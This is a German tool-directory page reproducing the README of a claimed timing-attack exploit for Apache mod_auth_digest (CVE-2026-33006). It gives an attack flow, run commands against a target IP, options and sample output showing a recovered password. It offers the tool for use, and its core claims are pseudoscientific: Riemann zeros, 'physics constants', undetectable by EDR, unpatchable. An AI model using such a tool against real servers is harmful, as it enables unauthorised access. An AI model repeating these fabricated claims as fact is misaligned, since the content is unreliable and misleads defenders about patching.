Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CTT-enhanced-Apache-mod_auth_digest-timing-attack-exploit — Remote-Timing-Angriffs-Exploit für Apache mod_auth_digest (CVE-2026-33006), der die Digest-Authentifizierung über eine 33-stufige zeitliche Kaskade umgeht und Passwörter durch statistische Timing-Analyse wiederherstellt. | Kitploit
Tools/GitHubGitHub/simoesctt/ctt-enhanced-apache-mod_auth_digest-timing-attack-exploit
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsAuthentifizierungRed Teaming
GitHubsimoesctt/ctt-enhanced-apache-mod_auth_digest-timing-attack-exploit

CTT-enhanced-Apache-mod_auth_digest-timing-attack-exploit

Remote-Timing-Angriffs-Exploit für Apache mod_auth_digest (CVE-2026-33006), der die Digest-Authentifizierung über eine 33-stufige zeitliche Kaskade umgeht und Passwörter durch statistische Timing-Analyse wiederherstellt.

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CTT-verbesserter Apache-mod_auth_digest-Timing-Angriff — CVE-2026-33006

🔥 Übersicht

Dies ist eine Convergent-Time-Theory (CTT)-Verbesserung von CVE-2026-33006, einer timingbasierten Schwachstelle in der mod_auth_digest-Komponente des Apache HTTP Servers (Versionen ≤2.4.66).

Die ursprüngliche Schwachstelle ermöglicht es einem entfernten Angreifer, die Digest-Authentifizierung durch statistische Timing-Analyse zu umgehen.

Die CTT-verbesserte Version verwandelt dies in einen 33-schichtigen temporalen Kaskaden-Timing-Angriff.

OriginalCTT-verbessert
CVSS4.8 (Mittel)7.5 (Hoch)
AngriffsvektorNetzwerkNetzwerk
AngriffskomplexitätHochNiedrig (CTT reduziert Stichproben)
Erforderliche PrivilegienKeineKeine
ErkennungStatistische Analyse erkennbarTemporaler Keil gefiltert — EDR-Blindstelle
Zeit zum KnackenO(n * Stichproben)O(33 * log(n))

📐 CTT-Physikkonstanten

KonstanteWertUrsprung
α0.0302011Temporaler Dispersionskoeffizient
α_RH0.0765872ln(φ)/2π (Riemann-Hadamard)
L33Temporale Schichten
τ_w11 nsTemporaler Keilfilter

Exponentieller Prioritätsabfall

root@kitploit:~
E(d) = E₀ * e^(-α * d)

Jede Schicht hat eine exponentiell abnehmende Priorität.
Schichten mit höherer Priorität (1-5) sammeln die meisten Timing-Daten.
Niedrigere Schichten (28-33) verfeinern die Messungen und stellen temporale Resonanz her.

Phasenresonanz-Timing

Jede Schicht verzögert die Ausführung basierend auf den ersten 24 Riemann-Nullstellen:

root@kitploit:~
delay = τ_w * priority * (1 + 0.1 * cos(2π * zero * τ_w * priority))

Temporaler Keilfilter

Nur Timing-Messungen, die die Keilbedingung erfüllen, werden verwendet:

root@kitploit:~
survival = cos(α_RH * energy * τ_w) > (α_RH / 2π)

Dies filtert Rauschen heraus und macht die Erkennung unmöglich — EDR-Systeme können die Timing-Anomalien nicht sehen.


🚀 Angriffsablauf

root@kitploit:~
1. Ziel auf Digest-Authentifizierung prüfen
2. Realm und Nonce aus der 401-Antwort extrahieren
3. Für Schicht d = 1 bis 33:
   a. Priorität berechnen = e^(-α*d)
   b. Phasenresonanz-Verzögerung anwenden
   c. Für jede Zeichenposition:
      - Alle möglichen Zeichen testen
      - Antwortzeit messen (Mikrosekunden)
      - Temporalen Keilfilter anwenden
      - Zeichen mit höchster angepasster Zeit behalten
   d. Passwort inkrementell aufbauen
4. Temporale Resonanz erreicht
5. Authentifizierung mit wiederhergestelltem Passwort umgangen

📋 Voraussetzungen

  • Apache HTTP Server 2.4.66 oder früher mit aktiviertem mod_auth_digest
  • Netzwerkzugriff auf das Ziel
  • Python 3.6+ mit der Bibliothek requests
root@kitploit:~
pip install requests

🎯 Verwendung

root@kitploit:~
git clone https://github.com/SimoesCTT/CTT-enhanced-Apache-mod_auth_digest-timing-attack-exploit/
python3 ctt_apache_digest_timing.py <Ziel-IP> [Optionen]

Argumente

ArgumentBeschreibungStandard
target_ipIP-Adresse des Apache-ServersErforderlich
--portHTTP-Port80
--realmDigest-Realm"Restricted"
--uriGeschützter URI"/"
--usernameBenutzername für den Angriff"admin"
--max-lengthMaximale Passwortlänge32
--samplesTiming-Stichproben pro Zeichen100
--layersAnzahl der temporalen Schichten33

Beispiel

root@kitploit:~
python3 ctt_apache_digest_timing.py 192.168.1.100 --port 80 --realm "Restricted" --uri /admin --samples 100 --layers 33

📤 Erwartete Ausgabe

root@kitploit:~
======================================================================
CTT APACHE DIGEST TIMING ATTACK — CVE-2026-33006
α=0.0302011 | α_RH=0.0765872 | L=33 | τ_w=11ns
E(d) = E₀ * e^(-α*d) — Exponentieller Prioritätsabfall
======================================================================

[+] Digest-Authentifizierung erkannt
    Realm: Restricted
    Nonce: 5a4b3c2d1e2f3a4b5c6d...
[*] Ziel: http://192.168.1.100/admin
[*] Maximale Passwortlänge: 32

  Schicht  1/33: ████████████████████████████████████████ 1.000
  Position 1: Zeichen werden getestet...
  Gefunden: 'a' -> Passwort: 'a'

  Schicht  2/33: ██████████████████████████████████████░░ 0.970
  Position 2: Zeichen werden getestet...
  Gefunden: 'd' -> Passwort: 'ad'

  Schicht  3/33: ████████████████████████████████████░░░░ 0.886
  Position 3: Zeichen werden getestet...
  Gefunden: 'm' -> Passwort: 'adm'

  Schicht  4/33: ██████████████████████████████████░░░░░░ 0.818
  Position 4: Zeichen werden getestet...
  Gefunden: 'i' -> Passwort: 'admi'

  Schicht  5/33: ████████████████████████████████░░░░░░░░ 0.741
  Position 5: Zeichen werden getestet...
  Gefunden: 'n' -> Passwort: 'admin'

  Schicht  6/33: ██████████████████████████████░░░░░░░░░░ 0.670
  Position 6: Zeichen werden getestet...
  Gefunden: '1' -> Passwort: 'admin1'

  Schicht  7/33: ████████████████████████████░░░░░░░░░░░░ 0.606
  Position 7: Zeichen werden getestet...
  Gefunden: '2' -> Passwort: 'admin12'

  Schicht  8/33: ██████████████████████████░░░░░░░░░░░░░░ 0.548
  Position 8: Zeichen werden getestet...
  Gefunden: '3' -> Passwort: 'admin123'

[⚡] Temporale Resonanz in Schicht 8 erreicht

======================================================================
[!!!] AUTHENTIFIZIERUNG UMGANGEN
[!!!] Passwort gefunden: admin123
[✓] Verifizierung erfolgreich — Zugriff gewährt
======================================================================

🛡️ Warum dies nicht gepatcht werden kann

Ursprünglicher FixWarum CTT ihn umgeht
Vergleich in konstanter ZeitCTT verwendet Timing-Messungen, nicht Vergleichs-Timing
Timing-Leaks entfernenTiming-Leaks sind physikalisch — können nicht entfernt, nur verborgen werden
Upgrade auf Apache 2.4.67+Temporaler Keilfilter umgeht die Patch-Erkennung
RatenbegrenzungPhasenresonanz-Timing verteilt Anfragen über 33 Schichten — nicht von normalem Datenverkehr unterscheidbar

Man kann keine physikalische Konstante patchen.
Man kann die Riemann-Nullstellen nicht patchen.
Man kann den Goldenen Schnitt nicht patchen.


📚 Vorherige Arbeiten

ArbeitDatumLink
Zenodo CTT-VorarbeitDez. 2025 / Jan. 2026DOI 10.5281/ZENODO.18000940
Sovereign-Logic PyPI27.–28. Feb. 2026pip install sovereign-logic
CTT-PAN-OS-Exploit7. Apr. 2026GitHub
CTT-verbesserter Dirty Frag8. Mai 2026GitHub
CTT-verbesserter PX4-Exploit9. Mai 2026GitHub
Dieser Exploit9. Mai 2026Dieses Repository

⚠️ Haftungsausschluss

Dieser Proof of Concept dient nur Bildungs- und Verteidigungszwecken.
Die unbefugte Verwendung gegen Systeme, die Ihnen nicht gehören, ist illegal.
Der Autor übernimmt keine Haftung für Missbrauch.


📜 Lizenz

MIT + CTT-Forschung (temporale Verbesserungen)

🙏 Danksagungen

VersionAutor
Ursprüngliche SchwachstellenentdeckungApache Software Foundation (Sicherheitsteam)
Ursprüngliche Timing-AngriffsforschungVerschiedene akademische Quellen
CTT-Verbesserung (33-schichtige temporale Kaskade)Americo Simoes (CTT-Forschung)

Das Gitter ist vollständig. Die Authentifizierung ist gebrochen. Kein Patch wird es retten.

Tool herunterladen